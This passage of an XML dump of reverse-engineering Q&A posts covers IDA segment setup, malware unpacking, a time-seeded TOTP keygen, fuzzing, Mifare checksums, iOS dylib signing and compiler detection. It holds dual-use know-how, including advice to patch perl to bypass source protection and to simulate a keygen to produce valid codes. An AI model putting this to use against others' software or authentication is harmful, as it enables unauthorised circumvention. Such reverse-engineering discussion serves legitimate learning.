ContentLicense="CC BY-SA 3.0" />
  <row Id="13763" PostTypeId="2" ParentId="13762" CreationDate="2016-10-19T21:32:53.780" Score="1" Body="&lt;p&gt;I'll make this brief:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the RAM section my SDRAM, 0x40000000 - 0x01000000?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, this is correct. But AFAIK not too important. IDA will create different segment for different code parts based on this input, but will handle fine which ever values are entered.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the ROM section my OCRAM, 0x00000000 - 0x00007FFF?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, this is again correct but again AFAIK it's not too important.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What about Input file loading address, file offset, loading size?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;for low-level code executed, and especially for boot loaders, the loading address should be specified in the chip's datasheet.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would the loading size be the 16MB of my SDRAM?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yep. IDA will add the RAM address space as an additional segment for you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Where does the peripherals addresses go?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;IDA doesn't explicitly support peripherals, you'll need to include those in your RAM definition or create a different segment manually after the file is loaded. You'll need to manually specify what peripheral is exposed at each address either by adding different segments for different peripherals or by creating and naming variables/structures. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-19T21:32:53.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13764" PostTypeId="1" CreationDate="2016-10-20T00:36:25.133" Score="1" ViewCount="152" Body="&lt;p&gt;I had a sample which was packed by a packer and I unpacked it using OllyDbg but after unpacking still IDA can not resolve the section and show most of instructions as &lt;code&gt;DD&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this sample still packed maybe for second round? and how can I resolve sections in IDA pro?&lt;/p&gt;&#xA;" OwnerUserId="17812" LastEditorUserId="2147" LastEditDate="2016-10-20T00:39:08.370" LastActivityDate="2017-02-17T02:25:29.717" Title="IDA pro can not resolved section after unpacking procedure" Tags="|ida|ollydbg|malware|unpacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13765" PostTypeId="2" ParentId="13764" CreationDate="2016-10-20T00:49:55.477" Score="1" Body="&lt;p&gt;You either incorrectly dumped the unpacked PE, or incompletely unpacked as you suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using ollydbg plugins like &lt;a href=&quot;https://low-priority.appspot.com/ollydumpex/&quot; rel=&quot;nofollow&quot;&gt;OllyDumpEx&lt;/a&gt; you can fine-tune the resulting dump. It is crucial to find the original entry point and make sure all relevant code is properly unpacked before performing the dump. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily tell if you successfully dumped a region by looking at it. If you can see reasonable and logical assembly in olly after you unpacked, you can be pretty sure that region is unpacked. You should make sure the entire PE is unpacked before dumping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're convinced you successfully unpacked the PE, you should make sure OllyDumpEx (or similar) plugin's configuration is set correctly. You can get invalid PEs when dumping with incorrect values. Most dumping utilities have tutorials that go over all of the plugin's configuration parameters to make sure you're using them correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempting to tackle tutorials and crackmes, specifically ones with available solutions is a good way to learn how to use the more advanced features of most dumping utilities.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-20T00:49:55.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13766" PostTypeId="2" ParentId="13744" CreationDate="2016-10-20T01:19:18.397" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Since the key changes every second, so does the OTPAUTH URI. I wonder how is the server supposed to verify a TOTP once a client enters it under this situation?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The server &lt;em&gt;must&lt;/em&gt; be aware of previously generated keys to provide usability. Either by generating previous keys on the fly (I can imagine an algorithm that tries &lt;code&gt;t-0&lt;/code&gt; and if that fails &lt;code&gt;t-1&lt;/code&gt; and if that fails &lt;code&gt;t-2&lt;/code&gt; for a predefined range to allow users to input a value some time after moving to the next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise the entire generate-insert-send-validate process is limited to a short window. Accepting more than one valid key at a time is acceptable because the range remains short, values are still hard to predict, brute-forcing remains impossible (this can be further mitigated by limiting the accepted key's range after several incorrect attempts). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I authenticate to a server with this keygen knowing that the keygen is using srand(time(NULL)) for the seed while calling rand() 8 consecutive times to generate a 32-byte random sequence.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Without reverse engineering the entire key generation algorithm and actual generation process it is impossible to know. You'll need to reverse engineer the function calling &lt;code&gt;rand()&lt;/code&gt; and build a simulator for the key generation process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you described is the entire process, You're left with figuring out how are those &lt;code&gt;rand()&lt;/code&gt; values are joined together (are they concatenated? xored to each other? How is the final value encoded?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT: Answer additional question presented under 'Vulnerability'&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Isn't the server susceptible to creating TOTPs of the future and saving them in a repository by an adversary?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is, but as I mentioned in this answer in response to you're first question that does not necessarily happens. The validation code can generate the TOTP keys it considered reasonable/potential every time it needs to execute a validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, this requires an adversary to hack gain access to that secure storage however if an adversary gained access to that secure storage to steal the TOTP keys, he might as well steal the master key used to generate those keys and gain the ability to generate TOTP keys as he wishes. For this reason storing the keys in the same place the master key is stored does not increase risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, the server has the ability to generate keys in order to validate them, and must be made sure to be trustworthy for the mechanism to function securely. This is a common requirement for most cryptographic protocols that certain points are to be trusted. After all, in order for the server to validate the user, it is reasonable to assume the server is protected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could consider some kind of &lt;a href=&quot;https://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow&quot;&gt;asymmetric key&lt;/a&gt; protocol instead of a symmetric key. However since this protocol is designed to validate a user by the server, it becomes moot whenever the server becomes untrusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an adversary hacks into a server to generate future keys, once this is detected replacing the master key (and all future TOTP keys accordingly) is a requirement.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;May the validation process the server carries out be concealed in the keygen or the keygen is what its only expected to be, a keygen?!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The keygen and the server carry out the same basic process. Once as a way to provide proof of knowledge (the keygen), and one to verify it (server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The keygen is able to execute perform validations and the server is able to crete proofs, but that shouldn't happen (although it might, and that can ge risky and expose the protocol to vulnerabilities). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The disassembly has a bunch of strings resembling openssl subroutines I presume. For instance digest.c, pmeth_gn.c, pmeth_lib.c, etc. The codes are available on the web. However, I found no lucid documentation for a layman. I suspect if the server's validation parameters are defined here. I've also been able to detect SHA256 and SHA512 cryptographic constants in the disassembly using findcrypt2.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not really sure what's the question here. I don't think any SSH functionality is directly related to the key generation, but I might be wrong.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've been cautioned that the keys are generated using Linux. What effect may this have? I'm still on the Windows track!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Windows and Linux implement &lt;code&gt;srand&lt;/code&gt; and &lt;code&gt;rand&lt;/code&gt; differently. Specifically, they're using different constants or a different number of iterations and combinations between iterations. The basic block for common rand functions is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int myrand(void) {&#xA;    next = next * 1103515245 + 12345;&#xA;    return((unsigned)(next/65536) % 32768);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where 1103515245 and 12345 are two constant values that often change between implementations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=stdlib/rand_r.c;hb=HEAD&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; is glibc's version. You can see it's more complicated. Reverse engineering the specific implementation is probably the safest way. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-21T01:25:00.347" LastActivityDate="2016-10-21T01:25:00.347" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="13767" PostTypeId="2" ParentId="13761" CreationDate="2016-10-20T02:05:49.463" Score="1" Body="&lt;p&gt;Are you sure you installed &lt;code&gt;pydasm&lt;/code&gt; properly? &lt;code&gt;pydasm&lt;/code&gt; cannot be automatically installed by &lt;code&gt;pip&lt;/code&gt;, so most installations of dependent software will just assume it is installed when in their own installation process as well as when executing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/OpenRCE/sulley/wiki/Windows-Installation&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; explains how &lt;code&gt;libdasm&lt;/code&gt; and &lt;code&gt;pydasm&lt;/code&gt; can be compiled and installed on windows. &lt;a href=&quot;http://www.securityaddicted.com/2014/02/07/howto-setup-debugging-reverse-engineering-environment-python-tools/&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; provides a prebuilt package and shows how to properly install it, together with additional scripts you seem to be using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not too clear from your question, but it might be the case that the missing package is &lt;code&gt;pydbg&lt;/code&gt;, depends on how I interpret your text.&#xA;If that's the case, the second aforementioned link also describes how &lt;code&gt;pydbg&lt;/code&gt; can be installed, and additionally google is your friend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If these links does not work, providing the output of &lt;code&gt;pip freeze&lt;/code&gt; will be a good start of additional info.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-20T02:05:49.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13768" PostTypeId="2" ParentId="13665" CreationDate="2016-10-20T04:32:53.413" Score="2" Body="&lt;p&gt;Since this is an intended prevention and there's no technical limitation behind this error message, it should be easy enough to just patch out the explicit check in the &lt;code&gt;perl&lt;/code&gt; executable. You could then have your own version of perl that allows the decryption of the perl program and exposes the original source code.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-20T04:32:53.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13769" PostTypeId="1" AcceptedAnswerId="13771" CreationDate="2016-10-20T12:22:20.723" Score="0" ViewCount="400" Body="&lt;p&gt;I wrote a statement in visual studio.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sum(int a, int b){&#xA;    return a + b;&#xA;}  &#xA;int main(){&#xA;    tong(3,4);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And aften i use ida pro Disassembly it. And my function tong has registers, such as: esi, edi, that i think them willn't be used, i think it use only registers: eax, ebp, esp. Why does ida use them? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004113C0 ; int __cdecl tong(int a, int b)&#xA;.text:004113C0 ?tong@@YAHHH@Z  proc near               ; CODE XREF:     tong(int,int)j&#xA;.text:004113C0&#xA;.text:004113C0 var_C0          = byte ptr -0C0h&#xA;.text:004113C0 a               = dword ptr  8&#xA;.text:004113C0 b               = dword ptr  0Ch&#xA;.text:004113C0&#xA;.text:004113C0                 push    ebp&#xA;.text:004113C1                 mov     ebp, esp&#xA;.text:004113C3                 sub     esp, 0C0h&#xA;.text:004113C9                 push    ebx&#xA;.text:004113CA                 push    esi&#xA;.text:004113CB                 push    edi&#xA;.text:004113CC                 lea     edi, [ebp+var_C0]&#xA;.text:004113D2                 mov     ecx, 30h&#xA;.text:004113D7                 mov     eax, 0CCCCCCCCh&#xA;.text:004113DC                 rep stosd&#xA;.text:004113DE                 mov     eax, [ebp+a]&#xA;.text:004113E1                 add     eax, [ebp+b]&#xA;.text:004113E4                 pop     edi&#xA;.text:004113E5                 pop     esi&#xA;.text:004113E6                 pop     ebx&#xA;.text:004113E7                 mov     esp, ebp&#xA;.text:004113E9                 pop     ebp&#xA;.text:004113EA                 retn&#xA;.text:004113EA ?tong@@YAHHH@Z  endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain their meaning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00411400 ; int __cdecl main()&#xA;.text:00411400 _main           proc near               ; CODE XREF: j__mainj&#xA;.text:00411400&#xA;.text:00411400 var_C0          = byte ptr -0C0h&#xA;.text:00411400&#xA;.text:00411400                 push    ebp&#xA;.text:00411401                 mov     ebp, esp&#xA;.text:00411403                 sub     esp, 0C0h&#xA;.text:00411409                 push    ebx&#xA;.text:0041140A                 push    esi&#xA;.text:0041140B                 push    edi&#xA;.text:0041140C                 lea     edi, [ebp+var_C0]&#xA;.text:00411412                 mov     ecx, 30h&#xA;.text:00411417                 mov     eax, 0CCCCCCCCh&#xA;.text:0041141C                 rep stosd&#xA;.text:0041141E                 push    4               ; b&#xA;.text:00411420                 push    3               ; a&#xA;.text:00411422                 call    j_?tong@@YAHHH@Z ; tong(int,int)&#xA;.text:00411427                 add     esp, 8&#xA;.text:0041142A                 xor     eax, eax&#xA;.text:0041142C                 pop     edi&#xA;.text:0041142D                 pop     esi&#xA;.text:0041142E                 pop     ebx&#xA;.text:0041142F                 add     esp, 0C0h&#xA;.text:00411435                 cmp     ebp, esp&#xA;.text:00411437                 call    j___RTC_CheckEsp&#xA;.text:0041143C                 mov     esp, ebp&#xA;.text:0041143E                 pop     ebp&#xA;.text:0041143F                 retn&#xA;.text:0041143F _main           endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17777" LastEditorUserId="17777" LastEditDate="2016-10-20T13:32:36.193" LastActivityDate="2016-10-20T14:49:26.277" Title="Why ida use redundant registers?" Tags="|ida|x86|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13770" PostTypeId="1" CreationDate="2016-10-20T14:18:18.333" Score="0" ViewCount="618" Body="&lt;p&gt;Do you just use tools like strace and a debugger to disassemble and find syscalls and then read the disassembly to find say for example a buffer overflow? Is that all you can do? I mean after all you don't have the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could shed some light on this particular topic I would be very grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="17820" LastActivityDate="2016-11-22T11:03:37.617" Title="How to find vulnerabilities in stripped binaries?" Tags="|debugging|exploit|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13771" PostTypeId="2" ParentId="13769" CreationDate="2016-10-20T14:49:26.277" Score="1" Body="&lt;p&gt;Seems like you renamed the &lt;code&gt;tong&lt;/code&gt; function to &lt;code&gt;sum&lt;/code&gt; in your C code, but not in assembly, which is from where some of the confusion comes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does &lt;strong&gt;IDA&lt;/strong&gt; use those registers? Well, because that's the assembly that the compiler produced from your C code. IDA just uses what's there. So the better question would be: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why did the &lt;strong&gt;compiler&lt;/strong&gt; produce code that uses &lt;code&gt;ebx&lt;/code&gt;, &lt;code&gt;esi&lt;/code&gt;, &lt;code&gt;edi&lt;/code&gt;, &lt;code&gt;ecx&lt;/code&gt;, ... when only &lt;code&gt;eax&lt;/code&gt; would need to be used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, the only lines from your &lt;code&gt;tong&lt;/code&gt; function that are really neccesary are &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004113C0                 push    ebp&#xA;.text:004113C1                 mov     ebp, esp&#xA;.text:004113DE                 mov     eax, [ebp+a]&#xA;.text:004113E1                 add     eax, [ebp+b]&#xA;.text:004113E9                 pop     ebp&#xA;.text:004113EA                 retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(and in theory you don't even need to use &lt;code&gt;ebp&lt;/code&gt;; you could just use &lt;code&gt;esp&lt;/code&gt; do index the stack, saving you another two lines).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest is due to compiler flags - optimization level and stack checking level. These lines seem to check if the stack gets smashed somewhere:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00411403                 sub     esp, 0C0h&#xA;.text:0041140C                 lea     edi, [ebp+var_C0]&#xA;.text:00411412                 mov     ecx, 30h&#xA;.text:00411417                 mov     eax, 0CCCCCCCCh&#xA;.text:0041141C                 rep stosd&#xA;.....&#xA;text:00411437                 call    j___RTC_CheckEsp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which allocates 192 (hex C0) bytes on the stack, fills them with &lt;code&gt;CC&lt;/code&gt;, and later calls a function that supposedly checks if those &lt;code&gt;CC&lt;/code&gt; bytes are still there. This smashes &lt;code&gt;eax&lt;/code&gt;, &lt;code&gt;ecx&lt;/code&gt; and &lt;code&gt;edi&lt;/code&gt;. If you disable stack checking somewhere in the compiler options, this part will be omitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the compiler probably has a convention that functions should never change &lt;code&gt;ebx&lt;/code&gt;, &lt;code&gt;esi&lt;/code&gt; and &lt;code&gt;edi&lt;/code&gt;. Which is why it produces &lt;code&gt;push&lt;/code&gt; operations at the start, and &lt;code&gt;pop&lt;/code&gt; and the end, for these registers, of the function. If optimization was turned higher, it would probably note that &lt;code&gt;esi&lt;/code&gt; and &lt;code&gt;ebx&lt;/code&gt; are never used in the function, so it'd optimize those lines out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum it up: in addition to your C code, the compiler does some internal housekeeping, which produces code that accesses more registers than your code alone would need. Messing with compiler options changes the amount of housekeeping that's needed. And IDA just displays what's there, it doesn't have a say in what the assembly, produced by the compiler, contains or doesn't contain.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-10-20T14:49:26.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13772" PostTypeId="2" ParentId="13770" CreationDate="2016-10-20T15:14:12.840" Score="1" Body="&lt;p&gt;Generally speaking finding vulnerabilities is not only about static reverse engineering, there are also dynamic techniques such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Fuzz_testing&quot; rel=&quot;nofollow&quot;&gt;fuzzing&lt;/a&gt;. &#xA;There are some fuzzing frameworks/products that can be used for this, &#xA;part of them are using dynamic instrumentation and such as &lt;a href=&quot;http://lcamtuf.coredump.cx/afl/&quot; rel=&quot;nofollow&quot;&gt;AFL&lt;/a&gt;, some part gives you an ability to configure generation of the data such as &lt;a href=&quot;http://www.peachfuzzer.com/&quot; rel=&quot;nofollow&quot;&gt;Peach&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can not or don't want to use fuzzers, you can reverse engineer the program. The fact of stripping doesn't mean that you lost all the useful information about the binary, in most cases you still have a lot of other possibilities to locate specific functionality in it such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Logs, strings and constants. For example if you have some kind of logging system inside or if application generates some readable information it will give you a lot (for example strings like &quot;calling function X with parameters Y and Z&quot; are not that rare) - from this you can conclude the function name and parameter types. Specific constants can show you where and which encryption is used, etc.&lt;/li&gt;&#xA;&lt;li&gt;Dynamically loadable modules, such as .so and .dll. Most of system calls are used via library functions, and if these functions are linked dynamically (i.e. loaded dynamically when program runs) you still can locate calls to such functions, and it will give you more information then system call tracing because the information needed for such dynamic linking is not stripped.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BTW, if you still want to run the application in order to locate system calls, &#xA;you can expand this methodology to using &lt;a href=&quot;https://linux.die.net/man/1/ltrace&quot; rel=&quot;nofollow&quot;&gt;ltrace&lt;/a&gt; which is not limited by system calls, but gives you all dynamic library calls. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-10-23T10:37:59.930" LastActivityDate="2016-10-23T10:37:59.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13773" PostTypeId="1" CreationDate="2016-10-20T15:28:45.363" Score="1" ViewCount="571" Body="&lt;p&gt;I have a shared object (from a Debian package) and its debug library (from the associated debug package). If I disassemble the SO with &lt;code&gt;objdump -d&lt;/code&gt; I only see (what I believe to be) the exported symbols. I would like to be able to see also the other symbols that are described in the debug library. Is there any way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(in a sense I would like to &quot;merge back&quot; the data that was stripped during compilation)&lt;/p&gt;&#xA;" OwnerUserId="11541" LastActivityDate="2016-10-20T15:28:45.363" Title="Add debugging symbols to objdump -d" Tags="|shared-object|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13774" PostTypeId="1" CreationDate="2016-10-20T16:24:45.080" Score="1" ViewCount="282" Body="&lt;p&gt;I'm a newbie here, and I don't have a lot of experience with reverse engineering, so I'm asking for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have dumped a Mifare Classic card several times, because I wanted to try understand the data that was written on it. I compared the dumps and succeeded in understanding where the data was and in which format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data is stored in 8 bytes split into two groups. At the end of each group there is another byte which I suspect is some sort of checksum. Here is the data I got until now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 BB and 01 0B have a checksum byte of 45&#xA;01 6F and 01 0B have a checksum byte of B5&#xA;01 90 and 02 58 have a checksum byte of BC&#xA;01 90 and 00 C8 have a checksum byte of 56&#xA;00 00 and 00 00 have a checksum byte of 64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you help me find out how the checksum byte is calculated? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2016-10-20T16:24:45.080" Title="Checksum reverse engineering help" Tags="|memory|memory-dump|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13775" PostTypeId="1" CreationDate="2016-10-20T20:47:48.930" Score="3" ViewCount="166" Body="&lt;p&gt;I am trying to figure out where the code is that interacts with the Serial Port on an MFC Win32 binary - and am utterly out of ideas on how to find this code block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have even tried, say, stopping the process right before I click the button to initialize serial communication and then stepping through. The program returns with an error immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have even tried setting a breakpoint over the string text of the error message in the &lt;code&gt;.data&lt;/code&gt; segment, and even then no breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is causing this? Why can't I just step through a process to see where its contacting the serial port?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it possible that its hiding at this level?&lt;/p&gt;&#xA;" OwnerUserId="17826" LastEditorUserId="2147" LastEditDate="2016-10-20T22:26:43.690" LastActivityDate="2016-10-22T07:30:05.250" Title="Finding code in MFC32 binary" Tags="|disassembly|windows|serial-communication|mfc|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13776" PostTypeId="1" CreationDate="2016-10-21T08:56:43.397" Score="2" ViewCount="4829" Body="&lt;p&gt;I learn from somewhere &lt;code&gt;dylib&lt;/code&gt; should be signed in iOS, otherwise &lt;code&gt;dyld&lt;/code&gt; will refuse to execute it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I test the &lt;a href=&quot;https://github.com/ddeville/Dynamic-iOS&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt; of &lt;a href=&quot;http://ddeville.me/2014/04/dynamic-linking&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;. The &lt;code&gt;dylib&lt;/code&gt; is not signed by default in this project, but it just running well when try to open it. I have verified the &lt;code&gt;dylib&lt;/code&gt;'s binary doesn't contain &lt;code&gt;lc_code_signature&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can explain this? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I test on a jailbreak device with 3 cases for a &lt;code&gt;dylib&lt;/code&gt; without &lt;code&gt;lc_code_signature&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Dynamic linked with the binary, so the &lt;code&gt;dylib&lt;/code&gt; is list in &lt;code&gt;LOAD COMMAND&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Copy to the main bundle, and &lt;code&gt;dlopen&lt;/code&gt; it.&lt;/li&gt;&#xA;&lt;li&gt;Copy to the &lt;code&gt;Document&lt;/code&gt; dir and open it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;They all succeed.&lt;/p&gt;&#xA;" OwnerUserId="17187" LastEditorUserId="17187" LastEditDate="2016-10-24T08:35:12.573" LastActivityDate="2016-11-23T19:08:23.040" Title="Dylib can run without code sign in iOS?" Tags="|ios|dynamic-linking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13778" PostTypeId="2" ParentId="12866" CreationDate="2016-10-21T14:16:13.980" Score="2" Body="&lt;p&gt;There are several tools that achieve this.&lt;/p&gt;&#xA;&lt;h2&gt;IDA&lt;/h2&gt;&#xA;&lt;p&gt;First, IDA has mechanisms to identify compiler (and compiler properties). That's not a main feature but might provide what you are looking for.&#xA;&lt;code&gt;Options -&amp;gt; Compiler...&lt;/code&gt; will open a dialog allowing you to manually set compiler related properties as well as use preconfigured defaults for certain widely used compilers.&lt;/p&gt;&#xA;&lt;p&gt;If IDA identified the compiler being used, those values will be populated accordingly when the dialog is opened.&lt;/p&gt;&#xA;&lt;p&gt;Here's a screenshot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oEJtu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oEJtu.png&quot; alt=&quot;IDA's compiler options dialog&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;PEiD&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tuts4you.com/download.php?view.398&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEiD&lt;/a&gt; is one of the most widely known and used packer detection tools. It has multiple plugins and additional downloadable signatures. One of the features it (as many packer detectors) has is compiler identification.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tcOJA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tcOJA.png&quot; alt=&quot;PEiD&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Detect It Easy&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://ntinfo.biz/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detect It Easy&lt;/a&gt; (AKA DiE) is another very advanced packer detection with very good compiler detection signatures and algorithms. While PEiD felt a bit abandoned, DiE still gets developer attention.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D0FlP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D0FlP.jpg&quot; alt=&quot;DiE&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Language 2000&lt;/h2&gt;&#xA;&lt;p&gt;Unlike other tools mentioned here, &lt;a href=&quot;https://farrokhi.net/language/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Language 2000&lt;/a&gt; is an old (but functional) tool built specifically for compiler detection. I've never used it but it is supposed to be good.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JMuC8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JMuC8.png&quot; alt=&quot;Language 2000&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Other packer detectors&lt;/h2&gt;&#xA;&lt;p&gt;Most packer detection tools have at least some kind of compiler detection capabilities, so I'm also including a 